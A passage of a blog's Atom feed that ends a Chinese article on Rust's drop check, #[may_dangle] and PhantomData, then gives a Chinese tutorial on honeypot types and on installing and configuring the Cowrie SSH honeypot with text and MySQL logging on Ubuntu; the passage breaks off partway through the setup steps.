&lt;p&gt;在上面的代码中，我们新增了一个Wrapper&lt;T&gt;结构，其在drop的时候真的会访问T，所以我们希望drop check能检查出 main 函数中的隐含错误: 变量 b 会在 main函数结束后执行MyBox::drop()，而MyBox又会隐式执行Wrapper::drop()，而在Wrapper::drop() 中会一直持有变量 x 的可变引用。因此我们希望 main 函数中不能成功打印 x 的值，否则违反borrow checker规则。但实际编译会发现，能编译成功，说明代码中还有问题。而这个问题就在于#[may_dangle]一下子把检查又放的太开了，我们只保证不会访问MyBox中的 T，并没有说不会drop T。(所以现在有关于修改#[may_dangle]的提案&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;686143745?utm_campaign=shareopn&amp;amp;utm_medium=social&amp;amp;utm_psn=1750982442008432641&amp;amp;utm_source=wechat_session#ref_9&quot;&gt;[9]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;)&lt;&#x2F;p&gt;
&lt;p&gt;现在如下的MyBox&lt;T&gt;结构下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;pub struct MyBox&amp;lt;T&amp;gt; {
    p: *mut T,

}

unsafe impl&amp;lt;#[may_dangle] T&amp;gt; Drop for MyBox&amp;lt;T&amp;gt; {
    fn drop(&amp;amp;mut self) {
        let _ = unsafe {Box::from_raw(self.p)};
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;根据drop checker规则，不会检查MyBox::drop() 中的T是否有效，同时，T不是其owned type，因为*mut T只是一个指针。但实际上，MyBox是包含 T 本身的，为了表达这个约定，本文的主角PhantomData&lt;T&gt;终于又出场了，在MyBox中添加&lt;code&gt;_field: PhantomData&amp;lt;T&amp;gt;&lt;&#x2F;code&gt; 即可让上面错误通过的代码编译失败。原因是根据drop checker规则， PhantomData&lt;T&gt; 会让编译器认为 MyBox&lt;T&gt; owns T，所以drop checker会检查T的drop 函数。&lt;&#x2F;p&gt;
&lt;p&gt;在这最后的场景，我们终于让 PhantomData&lt;T&gt; 的作用就是和它的名字一样： &lt;strong&gt;假装结构体有 T&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-ge-ren-xin-de&quot;&gt;4. 个人心得&lt;&#x2F;h2&gt;
&lt;p&gt;语言是一步步发展的，在翻阅早期Rust RFC(2013年)的时候，会感叹那时候居然连xx都还没解决，但是回到现在看Rust已经完善非常多了，虽然现在对某些特征仍有争议，但相信Rust团队的智慧会让Rust越来越好.&lt;&#x2F;p&gt;
&lt;p&gt;另外，Rust的一些技巧确实要人教才行，最后关于PhantomData&lt;T&gt;在drop check中的作用，除了Jon Gjengset的视频，在其他任何地方没有找到这么具体的例子，如果只看官方文档的规则说明一定是理解不了的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;686143745?utm_campaign=shareopn&amp;amp;utm_medium=social&amp;amp;utm_psn=1750982442008432641&amp;amp;utm_source=wechat_session#ref_1_0&quot;&gt;^&lt;&#x2F;a&gt;rust subtyping and variance&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;nomicon&#x2F;subtyping.html&quot;&gt;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;nomicon&#x2F;subtyping.html&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;686143745?utm_campaign=shareopn&amp;amp;utm_medium=social&amp;amp;utm_psn=1750982442008432641&amp;amp;utm_source=wechat_session#ref_2_0&quot;&gt;^&lt;&#x2F;a&gt;variance&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;reference&#x2F;subtyping.html#variance&quot;&gt;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;reference&#x2F;subtyping.html#variance&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;686143745?utm_campaign=shareopn&amp;amp;utm_medium=social&amp;amp;utm_psn=1750982442008432641&amp;amp;utm_source=wechat_session#ref_3_0&quot;&gt;^&lt;&#x2F;a&gt;RFC-0738&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rust-lang.github.io&#x2F;rfcs&#x2F;0738-variance.html&quot;&gt;https:&#x2F;&#x2F;rust-lang.github.io&#x2F;rfcs&#x2F;0738-variance.html&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;686143745?utm_campaign=shareopn&amp;amp;utm_medium=social&amp;amp;utm_psn=1750982442008432641&amp;amp;utm_source=wechat_session#ref_4_0&quot;&gt;^&lt;&#x2F;a&gt;How values are dropped&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustc-dev-guide.rust-lang.org&#x2F;borrow_check&#x2F;drop_check.html#how-values-are-dropped&quot;&gt;https:&#x2F;&#x2F;rustc-dev-guide.rust-lang.org&#x2F;borrow_check&#x2F;drop_check.html#how-values-are-dropped&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;686143745?utm_campaign=shareopn&amp;amp;utm_medium=social&amp;amp;utm_psn=1750982442008432641&amp;amp;utm_source=wechat_session#ref_5_0&quot;&gt;^&lt;&#x2F;a&gt;drop check&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;ops&#x2F;trait.Drop.html#drop-check&quot;&gt;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;ops&#x2F;trait.Drop.html#drop-check&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;686143745?utm_campaign=shareopn&amp;amp;utm_medium=social&amp;amp;utm_psn=1750982442008432641&amp;amp;utm_source=wechat_session#ref_6_0&quot;&gt;^&lt;&#x2F;a&gt;RFC-0769&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rust-lang.github.io&#x2F;rfcs&#x2F;0769-sound-generic-drop.html&quot;&gt;https:&#x2F;&#x2F;rust-lang.github.io&#x2F;rfcs&#x2F;0769-sound-generic-drop.html&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;686143745?utm_campaign=shareopn&amp;amp;utm_medium=social&amp;amp;utm_psn=1750982442008432641&amp;amp;utm_source=wechat_session#ref_7_0&quot;&gt;^&lt;&#x2F;a&gt;dropck_outlives&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustc-dev-guide.rust-lang.org&#x2F;borrow_check&#x2F;drop_check.html#dropck_outlives&quot;&gt;https:&#x2F;&#x2F;rustc-dev-guide.rust-lang.org&#x2F;borrow_check&#x2F;drop_check.html#dropck_outlives&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;686143745?utm_campaign=shareopn&amp;amp;utm_medium=social&amp;amp;utm_psn=1750982442008432641&amp;amp;utm_source=wechat_session#ref_8_0&quot;&gt;^&lt;&#x2F;a&gt;Crust of Rust: The Drop Check&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=TJOFSMpJdzg&quot;&gt;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=TJOFSMpJdzg&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;686143745?utm_campaign=shareopn&amp;amp;utm_medium=social&amp;amp;utm_psn=1750982442008432641&amp;amp;utm_source=wechat_session#ref_9_0&quot;&gt;^&lt;&#x2F;a&gt;improve #[may_dangle] for type parameters&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rfcs&#x2F;pull&#x2F;3417&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rfcs&#x2F;pull&#x2F;3417&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>巧用 Cowrie 部署 SSH 蜜罐，让黑客攻击无处遁形！-腾讯云开发者社区-腾讯云</title>
        <published>2024-03-13T00:00:00+00:00</published>
        <updated>2024-03-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/巧用-cowrie-部署-ssh-蜜罐-让黑客攻击无处遁形-腾讯云开发者社区-腾讯云/"/>
        <id>https://vercel.juzhong.asia/obsidian/巧用-cowrie-部署-ssh-蜜罐-让黑客攻击无处遁形-腾讯云开发者社区-腾讯云/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/巧用-cowrie-部署-ssh-蜜罐-让黑客攻击无处遁形-腾讯云开发者社区-腾讯云/">&lt;h1 id=&quot;qiao-yong-cowrie-bu-shu-ssh-mi-guan-rang-hei-ke-gong-ji-wu-chu-dun-xing-teng-xun-yun-kai-fa-zhe-she-qu-teng-xun-yun&quot;&gt;巧用 Cowrie 部署 SSH 蜜罐，让黑客攻击无处遁形！-腾讯云开发者社区-腾讯云&lt;&#x2F;h1&gt;
&lt;h3 id=&quot;shen-me-shi-mi-guan&quot;&gt;&lt;strong&gt;什么是蜜罐&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;蜜罐其实就是一台无人使用但却被严密监控的网络主机，里面包含着各类虚假的高价值资源和一些已知漏洞，以此吸引入侵者来入侵该主机。并且在被入侵的过程中，实时记录和审计入侵者的所有入侵攻击流量、行为和数据。以此了解入侵者的攻击方式、手段和目的，便于后期快速完成对其的溯源和取证工作。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;蜜罐的一些主要构成模块&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;按实现逻辑划分&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;控制：将入侵者牢牢控制在指定的网络范围中，使其不能再以此机器作为跳板来攻击其它的机器。&lt;&#x2F;li&gt;
&lt;li&gt;捕获：把入侵者在入侵过程中所产生的各种流量捕获住。&lt;&#x2F;li&gt;
&lt;li&gt;分析：将捕获到的各种数据存到&lt;strong&gt;数据库&lt;&#x2F;strong&gt;或者其它指定地方，便于后续还原其详细的入侵攻击过程。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;ol&gt;
&lt;li&gt;按具体实现过程划分&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;监控各种主机项，如：进程、文件、注册表、网络等。&lt;&#x2F;li&gt;
&lt;li&gt;同时提交给&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;product&#x2F;cwp?from_column=20065&amp;amp;from=20065&quot;&gt;入侵检测&lt;&#x2F;a&gt;，以识别其更详细的入侵手段，并对整个入侵过程做详细记录。&lt;&#x2F;li&gt;
&lt;li&gt;入侵数据汇总分析，其实就是把上述两步所得到的各种数据进行集中分析，最后勾勒出完整的入侵轨迹画像。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;ol&gt;
&lt;li&gt;最容易理解的说法&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;蜜罐环境隔离: 使用虚拟环境将物理环境和蜜罐隔绝开，防止某些敏感操作在其真实的系统环境中进行造成破坏。&lt;&#x2F;li&gt;
&lt;li&gt;敏感操作记录：把蜜罐中所有的入侵操作都写进数据库。&lt;&#x2F;li&gt;
&lt;li&gt;邮件报警系统：蜜罐被入侵后自动发送报警邮件通知相关安全应急人员。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;mi-guan-de-fen-lei&quot;&gt;&lt;strong&gt;蜜罐的分类&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;1. 低交互蜜罐&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;低交互蜜罐最大的特点是：蜜罐为攻击者展示的所有攻击弱点和攻击对象都不是真正的产品系统，而是对各种系统及其提供的服务的模拟。由于它的服务都是模拟的行为，所以蜜罐可以获得的信息非常有限，只能对攻击者进行简单的应答。不过，它也是最安全的蜜罐类型。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;2. 中交互蜜罐&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;中交互蜜罐是对真正的操作系统的各种行为的模拟，它提供了更多的交互信息，同时也可以从攻击者的行为中获得更多的信息。在这个模拟行为的系统中，蜜罐此时看起来和一个真正的操作系统没有区别，它们甚至是比真正系统还诱人的攻击目标。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;3. 高交互蜜罐&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;高交互蜜罐具有一个真实的操作系统，它的优点体现在对攻击者提供完全真实的系统。当攻击者获得 ROOT 权限后，受系统、数据真实性的迷惑，他的更多活动和行为将被记录下来。缺点是被入侵的可能性很高，如果整个高交互蜜罐被入侵，那么它就会成为攻击者下一步攻击的跳板，不太安全。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shen-me-shi-cowrie&quot;&gt;&lt;strong&gt;什么是 Cowrie&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;Cowrie&lt;&#x2F;code&gt; 是一个具有中等交互的 &lt;code&gt;SSH&lt;&#x2F;code&gt; 蜜罐，它可以获取攻击者用于暴力破解的字典、输入的命令以及上传或下载的恶意文件。所有这些攻击记录都会被记载到日志中，以便日后分析。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;项目地址：https:&#x2F;&#x2F;&lt;strong&gt;github&lt;&#x2F;strong&gt;.com&#x2F;cowrie&#x2F;cowrie&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cowrie-ssh-honeypot&#x2F;cowrie-ssh-honeypot.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cowrie-an-zhuang-bu-shu&quot;&gt;&lt;strong&gt;Cowrie 安装部署&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;shi-yong-yuan-ma-bu-shu&quot;&gt;&lt;strong&gt;使用源码部署&lt;&#x2F;strong&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;本次搭建使用的基础环境是 &lt;code&gt;Ubuntu&lt;&#x2F;code&gt; ，以下步骤除切换到虚拟环境中的操作，其它均为 root 权限执行。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;an-zhuang-bi-yao-de-zhi-chi-ruan-jian&quot;&gt;&lt;strong&gt;安装必要的支持软件&lt;&#x2F;strong&gt;&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;# Python 3
$ sudo apt-get install git python-virtualenv libssl-dev libffi-dev build-essential libpython3-dev python3-minimal authbind virtualenv

# Python 2
$ sudo apt-get install git python-virtualenv libssl-dev libffi-dev build-essential libpython-dev python2.7-minimal authbind
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;tian-jia-yi-ge-pu-tong-yong-hu&quot;&gt;&lt;strong&gt;添加一个普通用户&lt;&#x2F;strong&gt;&lt;&#x2F;h5&gt;
&lt;p&gt;对外提供服务的程序均以普通用户身份运行，能更好的保证&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;product&#x2F;cwp?from_column=20065&amp;amp;from=20065&quot;&gt;服务器安全&lt;&#x2F;a&gt;性。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;$ sudo adduser --disabled-password cowrie
Adding user &amp;#x27;cowrie&amp;#x27; ...
Adding new group &amp;#x27;cowrie&amp;#x27; (1002) ...
Adding new user &amp;#x27;cowrie&amp;#x27; (1002) with group &amp;#x27;cowrie&amp;#x27; ...
Changing the user information for cowrie
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y&amp;#x2F;n]

$ sudo su - cowrie
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;an-zhuang-cowire&quot;&gt;&lt;strong&gt;安装 Cowire&lt;&#x2F;strong&gt;&lt;&#x2F;h5&gt;
&lt;p&gt;由于 &lt;code&gt;Cowire&lt;&#x2F;code&gt; 是采用 &lt;code&gt;Python&lt;&#x2F;code&gt; 开发，为了方便管理和安全，我们就直接将 &lt;code&gt;Cowire&lt;&#x2F;code&gt; 部署到 &lt;code&gt;Python&lt;&#x2F;code&gt; 的虚拟环境中。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;下载 Cowire&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;$ cd &amp;#x2F;home&amp;#x2F;cowrie&amp;#x2F;
$ git clone https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;cowrie&amp;#x2F;cowrie.git
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol&gt;
&lt;li&gt;在 &lt;strong&gt;Python&lt;&#x2F;strong&gt; 虚拟环境中安装 Cowire&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;进入 &lt;code&gt;Cowrie&lt;&#x2F;code&gt; 所在目录，并安装虚拟环境&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;$ cd &amp;#x2F;home&amp;#x2F;cowrie&amp;#x2F;cowrie
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;使用 Python 3 创建虚拟环境&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;$ virtualenv --python=python3 cowrie-env
New python executable in .&amp;#x2F;cowrie&amp;#x2F;cowrie-env&amp;#x2F;bin&amp;#x2F;python
Installing setuptools, pip, wheel...done.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;使用 Python 2 创建虚拟环境&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;$ virtualenv --python=python2 cowrie-env
New python executable in .&amp;#x2F;cowrie&amp;#x2F;cowrie-env&amp;#x2F;bin&amp;#x2F;python
Installing setuptools, pip, wheel...done.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;激活 Cowrie 环境，并安装必要的软件包&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;$ source cowrie-env&amp;#x2F;bin&amp;#x2F;activate
(cowrie-env) $ pip install --upgrade pip
(cowrie-env) $ pip install --upgrade -r requirements.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol&gt;
&lt;li&gt;创建并修改 Cowire 的配置文件&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;(cowrie-env) $ cd etc&amp;#x2F;
(cowrie-env) $ cp cowrie.cfg.dist cowrie.cfg
(cowrie-env) $ vi cowrie.cfg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;打开 SSH 服务，并且修改监听端口&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[ssh]

# Enable SSH support
# (default: true)
enabled = true

listen_endpoints = tcp:2222:interface=0.0.0.0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;配置&lt;strong&gt;日志文件&lt;&#x2F;strong&gt;输出&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;默认情况下，&lt;code&gt;Cowire&lt;&#x2F;code&gt; 支持将日志输出到多个接收终端中。比如：文件文件、&lt;code&gt;Cucko&lt;&#x2F;code&gt;o、&lt;code&gt;ELK Stack&lt;&#x2F;code&gt;、&lt;code&gt;Graylog&lt;&#x2F;code&gt;、&lt;code&gt;Kippo-Graph&lt;&#x2F;code&gt;、&lt;code&gt;Splunk&lt;&#x2F;code&gt;、&lt;code&gt;SQL&lt;&#x2F;code&gt; (&lt;code&gt;MySQL&lt;&#x2F;code&gt;、&lt;code&gt;SQLite3&lt;&#x2F;code&gt;、&lt;code&gt;RethinkDB&lt;&#x2F;code&gt;) 等等中。这里我们就来说说最常用的文本文件和 &lt;code&gt;MySQL&lt;&#x2F;code&gt; 数据库：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;# 保存在文本文件中，需要配置以下一些内容。
[output_textlog]
enabled = true
logfile = ${honeypot:log_path}&amp;#x2F;audit.log
format = text
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;# 保存在数据库中，需要配置以下一些内容。
[output_mysql]
host = localhost
database = cowrie
username = cowrie
password = PASSWORD HERE
port = 3306
debug = false
enabled = true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果是需要保存在 &lt;code&gt;MySQL&lt;&#x2F;code&gt; 数据库中，当然只配置是不行的，你还得需要有一个对应的数据库。如果你没有，可以按下面的步骤进行安装。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;安装 &lt;strong&gt;MySQL&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;$ sudo apt-get install mysql-server mysql-client libmysqlclient-dev python-mysqldb
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;安装成功后，你可以通过下面的命令测试是否安装成功。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;$ sudo netstat -tap | grep mysql
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;在 Python 虚拟环境中安装 MySQL 依赖包&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;$ source cowrie-env&amp;#x2F;bin&amp;#x2F;activate
$ pip install mysqlclient mysql-python
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;创建名为 cowrie 的数据库&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;$ mysql -u root -p
mysql&amp;gt; create database cowrie;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;创建一个给 Cowrie 访问数据库的用户&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;mysql&amp;gt; GRANT INSERT, SELECT, UPDATE ON cowrie.* TO &amp;#x27;cowrie&amp;#x27;@&amp;#x27;localhost&amp;#x27; IDENTIFIED BY &amp;#x27;PASSWORD HERE&amp;#x27;;
mysql&amp;gt; FLUSH PRIVILEGES;
mysql&amp;gt; exit
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;数据库和对应的数据库用户创建完成后，在数据库中导入初始数据的 SQL 语句&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;$ cd ~&amp;#x2F;cowrie&amp;#x2F;docs&amp;#x2F;sql&amp;#x2F;
$ mysql -u cowrie -p
mysql&amp;gt; USE cowrie;
mysql&amp;gt; source mysql.sql;
mysql&amp;gt; exit
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol&gt;
&lt;li&gt;在 Python 虚拟环境下启动蜜罐&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;(cowrie-env) $ bin&amp;#x2F;cowrie start
Activating virtualenv &amp;quot;cowrie-env&amp;quot;
Starting cowrie with extra arguments [] ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol&gt;
&lt;li&gt;修改 SSH 默认的监听端口&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;在 &lt;code&gt;root&lt;&#x2F;code&gt; 用户下将 &lt;code&gt;Ubuntu&lt;&#x2F;code&gt; 自身的 &lt;code&gt;SSH&lt;&#x2F;code&gt; 监听端口进行更改，并修改 &lt;code&gt;Iptables&lt;&#x2F;code&gt; 规则。&lt;&#x2F;p&gt;
&lt;p&gt;首先，我们验证下是否安装 &lt;code&gt;SSH&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;$ ps -ef|grep sshd
root      2720     1  0 Nov 02 ? 00:00:00 &amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;sshd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果输出结果和以上类似就证明已经安装，没有安装的话可以使用以下命令安装。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;$ apt-get install openssh-server
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
